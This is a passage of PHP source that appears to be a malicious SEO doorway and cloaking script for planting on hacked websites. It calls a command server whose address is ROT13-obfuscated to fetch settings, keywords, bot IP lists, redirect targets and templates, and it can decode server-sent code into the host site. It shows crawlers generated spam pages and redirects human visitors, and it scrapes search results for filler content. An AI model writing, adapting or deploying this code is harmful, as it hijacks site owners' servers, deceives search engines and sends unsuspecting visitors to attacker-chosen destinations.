request($imgurl); echo isset($img) ? $img : $new_request->request('http://placehold.it/750x300'); exit; } if($_GET['getavatar_user']){ header('Content-type: image/jpeg'); $imgurl = base64_decode(rand(0,99999)); echo $new_request->request("https://robohash.org/".$imgurl.".png?size=50x50"); exit; } $client_url_orig = ($_SERVER['HTTP_HOST'] ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']) . $_SERVER['SCRIPT_NAME']; $client_url = $client_url_orig; $serverfolder_url = "http://".dirname($client_url); $clientid = md5(__FILE__); $useragent = !empty($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ""; $referer = !empty($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ""; $ip = !empty($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; $cachedir = "/temp_" . $clientid; $cachedirname = dirname(__FILE__).$cachedir; $keysfilename = "ke" .$clientid. "ys"; $useragentsfilename = "use" .$clientid. "ragents"; $botipsfilename = "bo" .$clientid. "tips"; $referersfilename = "re" .$clientid. "ferere"; $runningfilename = "run" .$clientid. "ning"; $cachefilename = "cac" .$clientid. "he"; $trafffilename = "tr" .$clientid."aff"; $urlfilename = "url".$clientid; $settfilename = "se".$clientid."tts"; $keysfilename_url = $serverfolder_url.$cachedir.'/'.$keysfilename; $useragentsfilename_url = $serverfolder_url.$cachedir.'/'.$useragentsfilename; $botipsfilename_url = $serverfolder_url.$cachedir.'/'.$botipsfilename; $referersfilename_url = $serverfolder_url.$cachedir.'/'.$referersfilename; $runningfilename_url = $serverfolder_url.$cachedir.'/'.$runningfilename; $cachefilename_url = $serverfolder_url.$cachedir.'/'.$cachefilename; $trafffilename_url = $serverfolder_url.$cachedir.'/'.$trafffilename; $settfilename_url = $serverfolder_url.$cachedir.'/'.$settfilename; $urlfilename_url = $serverfolder_url.$cachedir.'/'.$urlfilename; $urlhash = md5($_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']); $thisdomain = $_SERVER['SERVER_NAME']; $servurl = str_rot13("scrq8.bet/qbbejnlf/frggvatf_i2.cuc"); $time = time(); $whattime = false; $bot = 0; $user = 1; $errors = ''; if (isset($_GET['check_ready'])) { $whattime = checktime(1); error_reporting(E_ALL); ini_set('display_errors', true); ini_set('error_reporting', E_ALL); } else $whattime = checktime(5000); check_permission(); //stage 1 $settings = $new_request->request($settfilename_url); $settings = json_decode($settings,1); $setts_exist = $whattime ? false : file_exists($cachedirname . "/" . $settfilename); if (!$setts_exist || $whattime || !$settings) { //stage 2 setts $traffic = $new_request->request($trafffilename_url); $query_setts = array( 'clientid' => urlencode($clientid), 'ineednewsetts' => /* $setts_exist ? 'no' : */'yes', 'clienturl' => urlencode($client_url), 'update' => $whattime, 'traffic' => urlencode($traffic) ); $newsetts = $new_request->request("http://" . $servurl . "?".http_build_query($query_setts)); if (!empty($newsetts)) { $fod = fopen($cachedirname . "/" . $settfilename, "w+"); if (!empty($fod)) { flock($fod, LOCK_EX); fwrite($fod, $newsetts); fclose($fod); $settings = json_decode($newsetts,1); } }else{ $errors .= 'Error setts'; } } if (!file_exists($cachedirname . "/" . $keysfilename) || $whattime) { //stage 3 keys $newkeys = $new_request->request("http://" . $servurl . "?clientid=".urlencode($clientid)."&ineednewkeys=yes"); if (!empty($newkeys)) { $fod = fopen($cachedirname . "/" . $keysfilename, "w+"); if (!empty($fod)) { flock($fod, LOCK_EX); fwrite($fod, $newkeys); fclose($fod); } }else{ $errors .= 'Error keys'; } } if (!file_exists($cachedirname."/".$useragentsfilename) || $whattime) { //stage 4 useragents $newuseragents = $new_request->request("http://" . $servurl . "?clientid=".urlencode($clientid)."&ineednewuseragents=yes"); if (!empty($newuseragents)) { $fod = fopen($cachedirname . "/" . $useragentsfilename, "w+"); if (!empty($fod)) { flock($fod, LOCK_EX); fwrite($fod, $newuseragents); fclose($fod); } }else{ $errors .= 'Error useragents'; } } if (!file_exists($cachedirname."/".$botipsfilename)|| $whattime ) { //stage 5 botips $newips = $new_request->request("http://" . $servurl . "?clientid=".urlencode($clientid)."&ineednewbotips=yes"); if (!empty($newips)) { $fod = fopen($cachedirname . "/" . $botipsfilename, "w+"); if (!empty($fod)) { flock($fod, LOCK_EX); fwrite($fod, $newips); fclose($fod); } }else{ $errors .= 'Error ips'; } } if (!file_exists($cachedirname."/".$referersfilename) || $whattime) { //stage 5 referer $newreferers = $new_request->request("http://" . $servurl . "?clientid=".urlencode($clientid)."&ineednewreffs=yes"); if (!empty($newreferers)) { $fod = fopen($cachedirname . "/" . $referersfilename, "w+"); if (!empty($fod)) { flock($fod, LOCK_EX); fwrite($fod, $newreferers); fclose($fod); } }else{ $errors .= 'Error reffers'; } } $time_file_url = filemtime($cachedirname."/".$urlfilename); $time_url = $time-$time_file_url; if($time_url >= 120 || !file_exists($cachedirname."/".$urlfilename) || $whattime){ $newurl = $new_request->request("http://" . $servurl . "?clientid=".urlencode($clientid)."&ineednewurltoredirect=yes"); if (!empty($newurl)) { $fod = fopen($cachedirname . "/" . $urlfilename, "w+"); if (!empty($fod)) { flock($fod, LOCK_EX); fwrite($fod, $newurl); fclose($fod); } }else{ $errors .= 'Error url redirect'; } } $urltoredirect = $new_request->request($urlfilename_url); $redirect = str_ireplace('DOMAIN',$urltoredirect,$settings['redirect']); $keyperem = $settings['keyperem']; $settings['template_type_page'] = 'index'; if(!empty($settings['codetodonor']) && $whattime) setText(base64_decode($settings['codetodonor'])); $testcloack = cloack($ip); if ($testcloack == 1){ $bot = 1; $user = 0; $redirect = ""; }else{ $keyword = urlencode('KEYWORD'); $ua = urlencode($_SERVER['HTTP_USER_AGENT']); $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE']; $ip = null; $headers = array('HTTP_X_FORWARDED_FOR', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'REMOTE_ADDR'); foreach ($headers as $header) { if (!empty($_SERVER[$header])) { $ip = $_SERVER[$header]; break; } } if (strstr($ip, ',')) { $tmp = explode(',', $ip); if (stristr($_SERVER['HTTP_USER_AGENT'], 'mini')) { $ip = trim($tmp[count($tmp) - 2]); } else { $ip = trim($tmp[0]); } } if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $tmp = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $ip = trim($tmp[0]); } else { $ip = $_SERVER['REMOTE_ADDR']; } $referrer = urlencode(@$_SERVER['HTTP_REFERER']); $url = $urltoredirect."api.php?is_api=1&action=get&api_key=$apiKey&dummy_mode=1&campaign=$campaignId&ua=$ua&ip=$ip&keyword=$keyword&referrer=$referrer&lang=$lang"; $result = $new_request->request($url); $result = json_decode($result); if (!$result->redirect) { $bot = 1; $user = 0; $redirect = ""; } } traffic_counter(); // traffic counter if (!empty($_GET[$keyperem])){ // get key $q = urldecode($_GET[$keyperem]); $settings['template_type_page'] = 'note'; }else{ $all_keys = all_keys(); $q = trim($all_keys[0]); unset($allkeys); } if ($q == 'rss') { // rss page header('Content-Type: text/xml'); $rssindexurl = "http://".$client_url_orig."?".$keyperem."=rss"; echo ' '.($_SERVER['HTTP_HOST'] ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']).' '.$rssindexurl.' en '; $all_keys = all_keys(); $i = 0; foreach($all_keys as $v){ $vv = str_replace(" ", "-", trim($v)); echo ' <![CDATA['.$v.']]>'; echo ' http://'.$client_url_orig.'?'.$keyperem.'='.$vv.' '; echo ' http://'.$client_url_orig.'?'.$keyperem.'='.$vv.' '; if($i> 30) break; $i++; } echo ' '; die(); } if ($q == "contact" ) { $settings['template_type_page'] = 'contact_page'; } if(strpos($q,"sitemap") !== FALSE){ $settings['template_type_page'] = 'sitemap'; } if (!empty($q) && !empty($urlhash) && !empty($settings)) { //get page doorway + cache if (file_exists($cachedirname . "/" .$cachefilename)) { $handle = fopen($cachedirname . "/" .$cachefilename, "r"); while (!feof($handle)) { $cacheline = fgets($handle); $cacheline = explode("::::", $cacheline); $cachedurl = trim($cacheline[0]); if ($cachedurl == trim($urlhash)) { $cacheddata = trim($cacheline[1]); break; } } fclose($handle); if (!empty($cacheddata)) { $page = decodedata($cacheddata,'p'); } else { $page = getcontent(); if (!empty($page)) { putincache($urlhash."::::".codedata($page)."\n", $cachedirname."/".$cachefilename,"a+"); } } } else { $page = getcontent(); if (!empty($page)) { putincache($urlhash."::::".codedata($page)."\n", $cachedirname."/".$cachefilename,"a+"); } } } if($_GET['check_ready']){ echo $errors; } $page = str_ireplace("[REDIRECT]", $redirect, $page); echo $page; function all_keys(){ global $keysfilename_url; global $errors; global $new_request; $allkeys = $new_request->request($keysfilename_url); if (!empty($allkeys)){ $allkeys = explode("\n", decodedata($allkeys,'k')); shuffle($allkeys); return $allkeys; }else{ $errors .= "Keys file is empty\t"; return false; } } function putincache($page,$path,$flag){ $fod = fopen($path, $flag); flock($fod, LOCK_EX); fwrite($fod, $page); fclose($fod); } function traffic_counter(){ global $trafffilename; global $bot; global $user; global $errors; global $cachedirname; global $new_request; global $trafffilename_url; $trafffilename = $cachedirname . "/" . $trafffilename; if (file_exists($trafffilename)){ $traffic = $new_request->request($trafffilename_url); $traffic = explode("/", $traffic); $traffic[0] = trim($traffic[0]) + $bot; $traffic[1] = trim($traffic[1]) + $user; $traffic = implode("/", $traffic); $traffic = trim($traffic); @unlink($trafffilename); $fod = fopen($trafffilename, "a+"); if (!empty($fod)){ flock($fod, LOCK_EX); ftruncate($fod, 0); fwrite($fod, $traffic); fclose($fod); }else{ $errors .= "Can't save traffic file"; } }else{ $traffic = $bot . "/" . $user; $fod = fopen($trafffilename, "w+"); if (!empty($fod)){ flock($fod, LOCK_EX); fwrite($fod, $traffic); fclose($fod); }else{ $errors.= "Can't save traffic file"; } } } function include_cms(){ if(file_exists($_SERVER['DOCUMENT_ROOT'].'/wp-blog-header.php')){ // define('WP_USE_THEMES', false); // require($_SERVER['DOCUMENT_ROOT'].'/wp-blog-header.php'); //return "wp"; }elseif(file_exists($_SERVER['DOCUMENT_ROOT'].'/includes/framework.php')){ // define( '_JEXEC', 1 ); // define( 'DS', DIRECTORY_SEPARATOR ); // define( 'JPATH_BASE', $_SERVER[ 'DOCUMENT_ROOT' ] ); // require_once( JPATH_BASE . DS . 'includes' . DS . 'defines.php' ); // require_once( JPATH_BASE . DS . 'includes' . DS . 'framework.php' ); // require_once( JPATH_BASE . DS . 'libraries' . DS . 'joomla' . DS . 'factory.php' ); // $mainframe =& JFactory::getApplication('site'); //return "joomla"; } return false; } function randString($length) { $str = ""; $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; $size = strlen($chars); for ($i = 0; $i < $length; $i++) { $str.= $chars[rand(0, $size - 1) ]; } return $str; } function is_function_enabled($func) { $func = strtolower(trim($func)); if ($func == '') return false; $disabled = explode(",", @ini_get("disable_functions")); if (empty($disabled)) { $disabled = array(); } else { $disabled = array_map('trim', array_map('strtolower', $disabled)); } return (function_exists($func) && is_callable($func) && !in_array($func, $disabled)); } function checktime($timetocurl) { global $cachedirname; global $clientid; if (is_dir($cachedirname)) { if (!file_exists($cachedirname . "/" . substr($clientid, 0, 7))) { $fod = fopen($cachedirname . "/" . substr($clientid, 0, 7) , "w+"); if (!empty($fod)) { flock($fod, LOCK_EX); fwrite($fod, ""); fclose($fod); } else { return "errorcreate"; } } $cron_time = filemtime($cachedirname . "/" . substr($clientid, 0, 7)); if (time() - $cron_time >= $timetocurl) { @unlink($cachedirname . "/" . substr($clientid, 0, 7)); $fod = fopen($cachedirname . "/" . substr($clientid, 0, 7) , "w+"); if (!empty($fod)) { flock($fod, LOCK_EX); fwrite($fod, ""); fclose($fod); return true; } else { return "errorcreate"; } } return false; } else { return false; } } function cloack($ip) { global $referer; global $useragent; global $useragentsfilename; global $botipsfilename; global $referersfilename; global $new_request; global $useragentsfilename_url; global $referersfilename_url; global $cachedirname; $angrybot = ""; if (file_exists($cachedirname . "/" . $useragentsfilename)) { $useragents = decodedata(implode("\n",$new_request->request($useragentsfilename_url)),'ua'); $useragents = trim($useragents); $useragents = explode("\n", $useragents); } if (file_exists($cachedirname . "/" . $referersfilename)) { $goodrefs = decodedata(implode("\n",$new_request->request($referersfilename_url)),'rfr'); $goodrefs = trim($goodrefs); $goodrefs = explode("\n", $goodrefs); } $nowref = strtolower($referer); $nowref = trim($nowref); $nowua = strtolower($useragent); $nowua = trim($nowua); $ip = trim($ip); if (file_exists($cachedirname . "/" . $botipsfilename) && !empty($ip)) { $ipforcloack = explode(".", $ip); $handle = fopen($cachedirname . "/" . $botipsfilename, "r"); $i = 1; while (!feof($handle)) { $cloackip = trim(fgets($handle)); if (!empty($cloackip)) { $cloackip = explode(".", $cloackip); $needcloackip = explode("/", $cloackip[3]); if (!empty($needcloackip[1])) { if ($ipforcloack[0] == $cloackip[0] && $ipforcloack[1] == $cloackip[1] && $ipforcloack[2] == $cloackip[2] && $ipforcloack[3] >= $needcloackip[0] && $ipforcloack[3] <= $needcloackip[1]) { $angrybot = "1"; break; } } else { if ($ip == implode(".", $cloackip)) { $angrybot = "1"; break; } } $i++; } } fclose($handle); } if (empty($angrybot)) { if (!empty($useragents[0])) { foreach($useragents as $cloackuseragent) { $cloackuseragent = strtolower($cloackuseragent); $cloackuseragent = trim($cloackuseragent); if (strpos($nowua, $cloackuseragent) !== false && !empty($cloackuseragent)) { $angrybot = "1"; break; } } } if (empty($angrybot)) { if (!empty($goodrefs)) { foreach($goodrefs as $goodref) { if (!empty($goodref)) { $goodref = strtolower($goodref); $goodref = trim($goodref); if (strpos($nowref, $goodref) !== false) { $angrybot = ""; break; } else { $angrybot = "1"; } } else { break; } } } } } return $angrybot; } function codedata($data) { $data = gzcompress(base64_encode(urlencode($data)) , 4); return urlencode($data); } function decodedata($data,$r) { return urldecode(base64_decode(gzuncompress(urldecode($data)))); } function keyindoorway($currentkey, $keyfilename) { $foundkey = ""; $currentkey = trim(urldecode($currentkey)); $currentkey = str_ireplace("-", " ", $currentkey); $currentkey = strtolower($currentkey); $allkeys = all_keys(); foreach($allkeys as $keyfrcheck) { $keyfrcheck = trim($keyfrcheck); $keyfrcheck = strtolower($keyfrcheck); if (stripos($currentkey,$keyfrcheck) !== false) { $foundkey = "yes"; break; } } return $foundkey; } function postItem($title, $desc, $text) { $database = JFactory::getDBO(); $item = new stdClass; $item->id = null; $item->title = $title; $item->introtext = $desc; $item->fulltext = $text; $item->state = 1; $item->access = 1; $item->created_by = 62; $item->created = date('Y-m-d H:i:s'); $item->alias = JFilterOutput::stringURLSafe($item->title); if (!$database->insertObject('#__content', $item, 'id')) { echo $database->stderr(); return false; } return $item->id . ":" . $item->alias; } function full_del_dir($directory) { $dir = opendir($directory); while (($file = readdir($dir))) { if (is_file($directory . "/" . $file)) { unlink($directory . "/" . $file); } else if (is_dir($directory . "/" . $file) && ($file != ".") && ($file != "..")) { full_del_dir($directory . "/" . $file); } } closedir($dir); rmdir($directory); } function paginate($array, $pageSize, $page = 1){ $page = $page < 1 ? 1 : $page; $start = ($page - 1) * $pageSize; return array_slice($array, $start, $pageSize); } function getcontent(){ global $new_request; global $client_url_orig; global $q; global $errors; global $settings; global $redirect; global $thisdomain; global $new_request; $servurl = $settings['servurl']; $lang = $settings['lang']; $_templatename = $settings['templatename']; $clienttype = $settings['clienttype']; $_clienturl = $settings['clienturl']; $keyperem = $settings['keyperem']; if(include_cms() == "wp" || include_cms() == "joomla"){ $settings['template_type_page'] = 'cms'; } $_template_data = $new_request->request("http://" . $servurl . "workdir/templates/".$_templatename."/".$settings['template_type_page'].".php"); $orig_key = $q; $_currkey = str_replace("-", " ", $q); $_keyfile_data = all_keys(); $count_keys = count($_keyfile_data); if (!empty($_templatename) && !empty($_keyfile_data)) { if(strpos($_currkey,"sitemap") !== FALSE) $_result = "site map"; else{ $_result = bingcontent($_currkey, $lang); $title_theme1 = $_result['title1']; $title_theme2 = $_result['title2']; $title_theme3 = $_result['title3']; $_result = $_result['content']; } if (empty($_templatename)) { $errors.= "Template not setted "; } if (stripos($_template_data, "[SITEMAP]") !== false) { $_template_data = str_replace("[TITLESITEMAP]","Sitemap",$_template_data); $numpage = max(1, intval(str_ireplace("sitemap ","",$_currkey))); $totalPages = ceil( count($_keyfile_data)/ 500 ); $keys_for_map = paginate($_keyfile_data, 500, $numpage); $html_map = ''; $html_tags = array('
  • [LINKMAP]
  • ','
      [LINKMAP]
    ','
    [LINKMAP]
    ','','

    [LINKMAP]

    ','
    [LINKMAP]
    '); foreach($keys_for_map as $v){ $rand_tag = array_rand($html_tags,1); $html_map .= str_replace("[LINKMAP]", '' . ucfirst(trim($v)) . "", $html_tags[$rand_tag]); } $_template_data = str_replace("[SITEMAP]",$html_map,$_template_data); $pagination .= ''; $_template_data = str_replace("[PAGINATION]",$pagination,$_template_data); } if (!empty($_template_data) && !empty($_result) && !empty($_currkey) && !empty($_keyfile_data) && !empty($_clienturl)) { if (stripos($_template_data, "[RANDOMLINES") !==false) { $_pattern = "#(\[RANDOMLINES:.*\])#iU"; preg_match_all($_pattern, $_template_data, $_matches); if (!empty($_matches[1])) { $files = array(); foreach($_matches[1] as $_value) { $_randomline = ""; $_normal = trim($_value); $_normal = str_replace("[", "", $_normal); $_normal = str_replace("]", "", $_normal); $_normal = explode(":", $_normal); if(!$files[trim($_normal[1])]){ $_randomlines = $new_request->request("http://" . $servurl . "workdir/randomlines/" . trim($_normal[1])); $files[trim($_normal[1])] = $_randomlines; }else $_randomlines = $files[trim($_normal[1])]; shuffle($_randomlines); $count_randomlines = count($_randomlines); if (trim($_normal[2]) >= $count_randomlines) { $_normal[2] = $count_randomlines - 1; } else { $_normal[2]--; } for ($_i = 0; $_i <= trim($_normal[2]); $_i++) { $_randomline.= trim($_randomlines[$_i]) . "" . $_normal[3]; } $_template_data = preg_replace("#(" . trim(str_replace("[", "\[", str_replace("]", "\]", str_replace("^", "\^", $_value)))) . ")#iU", trim($_randomline, $_normal[3]) , $_template_data, 1); /* }else{ $_message.= "No file " . trim($_normal[1]) . " for random lines "; $_template_data = preg_replace("#(" . trim(str_replace("[", "\[", str_replace("]", "\]", str_replace("^", "\^", $_value)))) . ")#iU", "", $_template_data, 1); } */ } } } if (strpos($_template_data, "[:::") !== FALSE) { $_pattern = "/(\[:::.*:::\])/iU"; preg_match_all($_pattern, $_template_data, $_matches); if ($_matches[1]) { foreach($_matches[1] as $_value) { $_value = trim($_value); $_elements = str_replace("[:::", "", $_value); $_elements = str_replace(":::]", "", $_elements); $_elements = explode("|", $_elements); shuffle($_elements); if (!empty($_elements[0])): $_template_data = preg_replace("|" . preg_quote($_value) . "|iU", trim($_elements[0]) , $_template_data, 1); else: $_template_data = str_ireplace($_value, "", $_template_data); endif; } } } $_pattern = "/(\[SENTENCE:.*\])/iU"; preg_match_all($_pattern, $_template_data, $_matches); if (!empty($_matches[1])) { foreach($_matches[1] as $_sentence) { $_sentence_normal = trim($_sentence); $_sentence_normal = str_replace("[", "", $_sentence_normal); $_sentence_normal = str_replace("]", "", $_sentence_normal); $_sentence_normal = explode(":", $_sentence_normal); $_full_str = edittext($_sentence_normal[1], $_sentence_normal[2], $_result, $_sentence_normal[3], $_sentence_normal[4], '' . $_sentence_normal[5], $_currkey, $_keyfile_data, $_themesfile_data, "workdir/extlinks/" . $_extlinksfilename, $_clienturl, '' . $_sentence_normal[6], $_extlinksfile_data, $_sentence_normal[7]); $_full_str = str_replace("$", "\$", $_full_str); if (!empty($_full_str)): $_template_data = preg_replace("/(" . trim(str_replace("[", "\[", str_replace("]", "\]", str_replace("^", "\^", $_sentence)))) . ")/iUm", ucfirst($_full_str) , $_template_data, 1); else: $_template_data = preg_replace("/(" . trim(str_replace("[", "\[", str_replace("]", "\]", str_replace("^", "\^", $_sentence)))) . ")/iUm", "", $_template_data, 1); endif; } } $_template_data = str_replace("[UPKEY]", mb_strtoupper(mb_substr($_currkey, 0, 1, "UTF-8") , "UTF-8") . mb_substr($_currkey, 1, mb_strlen($_currkey) , "UTF-8") , $_template_data); if (strpos($_template_data, "[RANDKEYWORD") !== FALSE) { preg_match_all("/(\[RANDKEYWORD:.*\])/iUm", $_template_data, $_matches); foreach($_matches[1] as $_rand_val){ shuffle($_keyfile_data); $_template_data = str_replace($_rand_val.'::LINK',str_replace("[KEY]", str_replace(" ", "-", trim($_keyfile_data[0])), $_clienturl),$_template_data); $_template_data = str_replace($_rand_val,ucfirst(trim($_keyfile_data[0])),$_template_data); } } if (strpos($_template_data, "[RANDKEYWORD]") !== FALSE) { shuffle($_keyfile_data); $_count_rand = substr_count($_template_data, "[RANDKEYWORD]"); for ($_i = 0; $_i <= $_count_rand; $_i++) { $_template_data = preg_replace("/\[RANDKEYWORD\]/", str_replace(" ", "-", trim($_keyfile_data[$_i])) , $_template_data, 1); } } if (strpos($_template_data, "[RANDOMLINK]") !== FALSE) { shuffle($_keyfile_data); $_count_rand = substr_count($_template_data, "[RANDOMLINK]"); for ($_i = 0; $_i <= $_count_rand; $_i++) { $_template_data = preg_replace("/\[RANDOMLINK\]/", '' . ucfirst(trim($_keyfile_data[$_i])) . "", $_template_data, 1); } } if (strpos($_template_data, "[SIMPLERANDOMLINK]") !== FALSE) { shuffle($_keyfile_data); $_count_rand = substr_count($_template_data, "[SIMPLERANDOMLINK]"); for ($_i = 0; $_i <= $_count_rand; $_i++): $_template_data = preg_replace("/\[SIMPLERANDOMLINK\]/", "http://" . str_replace("[KEY]", str_replace(" ", "-", trim($_keyfile_data[$_i])) , $_clienturl) , $_template_data, 1); endfor; } if (strpos($_template_data, "[RAND:") !== FALSE) { $_pattern = "/(\[RAND:[0-9]*:[0-9]*\])/"; preg_match_all($_pattern, $_template_data, $_matches); if (!empty($_matches[1])) { foreach($_matches[1] as $_rand_val): $_rand_val_group = explode(":", trim(str_replace("[", "", str_replace("]", "", $_rand_val)))); $_template_data = preg_replace("/" . str_replace("[", "\[", str_replace("]", "\]", $_rand_val)) . "/", rand(trim($_rand_val_group[1]) , trim($_rand_val_group[2])) , $_template_data, 1); endforeach; } } $_template_data = str_replace("[DEFISKEY]", ucfirst(str_replace(" ", "-", $_currkey)) , $_template_data); $_template_data = str_replace("[THISDOMAIN]", $thisdomain, $_template_data); $_template_data = str_replace("[DORURL]", str_replace("[KEY]","" , $_clienturl) , $_template_data); $_template_data = str_replace("[DORWITHKEYPERM]", str_replace("?".$keyperem."=[KEY]","" , $_clienturl) , $_template_data); if (strpos($_template_data, "[UPKEY:") !== FALSE) { $_currkey2 = ""; preg_match_all("/(\[UPKEY:.*\])/iUm", $_template_data, $_matches); if (!empty($_matches[1])) { foreach($_matches[1] as $_upkeys): $_currkey2 = $_currkey; $_upkeys_normal = str_replace("[UPKEY:", "", $_upkeys); $_upkeys_normal = str_replace("]", "", $_upkeys_normal); $_upkeys_normal = explode(",", $_upkeys_normal); foreach($_upkeys_normal as $_normal_key): $_currkey2 = str_ireplace($_normal_key, "", $_currkey2); endforeach; $_currkey2 = str_replace(" ", " ", $_currkey2); $_currkey2 = trim($_currkey2); $_template_data = str_ireplace($_upkeys, mb_strtoupper(mb_substr($_currkey2, 0, 1, "UTF-8") , "UTF-8") . mb_substr($_currkey2, 1, mb_strlen($_currkey2) , "UTF-8") , $_template_data); endforeach; } } if (strpos($_template_data, "[AVATAR") !== FALSE) { preg_match_all("/(\[AVATAR.*\])/iUm", $_template_data, $_matches); if (!empty($_matches[1]) ) { foreach($_matches[1] as $_upimgs){ $_template_data = str_replace($_upimgs,"//".$client_url_orig."?getavatar_user=1",$_template_data); } } $_template_data = preg_replace("/(\[AVATAR.*\])/iUm",'',$_template_data); } if (strpos($_template_data, "[USER") !== FALSE) { preg_match_all("/(\[USER.*\])/iUm", $_template_data, $_matches); if (!empty($_matches[1]) ) { foreach($_matches[1] as $_upimgs){ $rnd = rand(0,$couser); $_template_data = str_replace($_upimgs,getip(),$_template_data); } } $_template_data = preg_replace("/(\[USER.*\])/iUm",'',$_template_data); } if (strpos($_template_data, "[VIDEO") !== FALSE) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://www.bing.com/videos/search?&q='.urlencode($_currkey).'&qft=+filterui:msite-youtube.com&FORM=R5VR15'); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36'); curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie/'.$host.'.txt'); curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie/'.$host.'.txt'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_FTP_SSL, CURLFTPSSL_TRY); $outch = curl_exec($ch); $outch = str_ireplace('\\', '', $outch); curl_close($ch); preg_match_all('!youtube.com/watch\?v=(.*?)&!siu', $outch, $lines2); $videos = array_unique($lines2[1]); shuffle($videos); $count_imgs = count($videos); $ar_video = $videos; preg_match_all("/(\[VIDEO.*\])/iUm", $_template_data, $_matches); if (!empty($_matches[1])) { foreach($_matches[1] as $_upimgs){ $rnd = rand(0,$count_imgs); $int = $ar_video[$rnd]; if($int) $_template_data = str_replace($_upimgs,'https://www.youtube.com/embed/'.$int,$_template_data); else $_template_data = str_replace($_upimgs,'',$_template_data); } } } if (strpos($_template_data, "[IMGSRC") !== FALSE) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://www.bing.com/images/search?q='.urlencode($_currkey)); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_FTP_SSL, CURLFTPSSL_TRY); $outch = curl_exec($ch); curl_close($ch); preg_match_all('!murl":"(.*?)",!siu', $outch, $lines2); if(!$lines2[1]){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://twitter.com/search?q='.urlencode($_currkey).'&src=typd&mode=photos'); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36'); curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie/'.$host.'.txt'); curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie/'.$host.'.txt'); $outch = curl_exec($ch); curl_close($ch); preg_match_all('!data-resolved-url-small="(.*?)"!siu', $outch, $lines2); } $fotos = array_unique($lines2[1]); shuffle($fotos); $ar_imgs = array_values($fotos ); $count_imgs = count($ar_imgs); preg_match_all("/(\[IMGSRC.*\])/iUm", $_template_data, $_matches); if (!empty($_matches[1]) && $count_imgs > 0) { foreach($_matches[1] as $_upimgs){ $rnd = rand(0,$count_imgs); if($ar_imgs[$rnd]) $_template_data = str_replace($_upimgs,"//".$client_url_orig."?getimage=".base64_encode($ar_imgs[$rnd]), $_template_data); } } $_template_data = preg_replace("/(\[IMGSRC.*\])/iUm",'http://placehold.it/750x300',$_template_data); } if (strpos($_template_data, "[THEMEKEY") !== FALSE) { $_template_data = str_replace('[THEMEKEY1]',$title_theme1,$_template_data); $_template_data = str_replace('[THEMEKEY2]',$title_theme2,$_template_data); $_template_data = str_replace('[THEMEKEY3]',$title_theme3,$_template_data); } $_template_data = html_entity_decode(preg_replace("/(\[SENTENCE:.*\])/iU","",$_template_data)); return $_template_data; } } } function getip(){ $n1 = rand(1,255); $n2 = rand(1,255); $n3 = rand(1,255); $n4 = rand(1,255); $ips = "$n1.$n2.$n3.$n4"; return $ips; } function edittext($_min_rand, $_max_rand, $_result, $_count_nums, $_num_str, $_incom_nums, $_other_data, $_keyfile_data, $_themesfile_data, $_extlinksfilename, $_clienturl, $_new_params, $_extlinksfile_data, $_an_limit){ if ($_min_rand == 0){ $_min_rand = 1; } if ($_max_rand == 0){ $_max_rand = 1; } $_incom_nums = explode("^", $_incom_nums); $_incom_nums = rand($_incom_nums[0], $_incom_nums[1]); if ($_extlinksfile_data == "good"){ $_new_params = explode("^", $_new_params); $_new_params = rand($_new_params[0], $_new_params[1]); }else{ $_new_params = 0; } $_other_data = trim($_other_data); $_result = explode(".", $_result); shuffle($_result); $_group_results = array(); for ($_i = 0; $_i <= rand($_min_rand, $_max_rand); $_i++){ $_group_results[] = $_result[$_i]; } unset($_result); $_group_results = explode(" ", str_replace(" ", " ", implode(". ", $_group_results))); if ($_count_nums > 0){ $_elem_groups = array( " " . $_other_data . " ", " " . $_other_data . " ", $_other_data, $_other_data, $_other_data ); $_count_groups = substr_count(strtolower(implode($_group_results)) , strtolower($_other_data)); $_str_limit = ceil(count($_group_results) * $_count_nums / 100) - $_count_groups; if ($_str_limit <= 0){ $_str_limit = $_count_groups; } for ($_i = 1; $_i <= $_str_limit; $_i++){ if ($_an_limit == 1){ $_other_data = 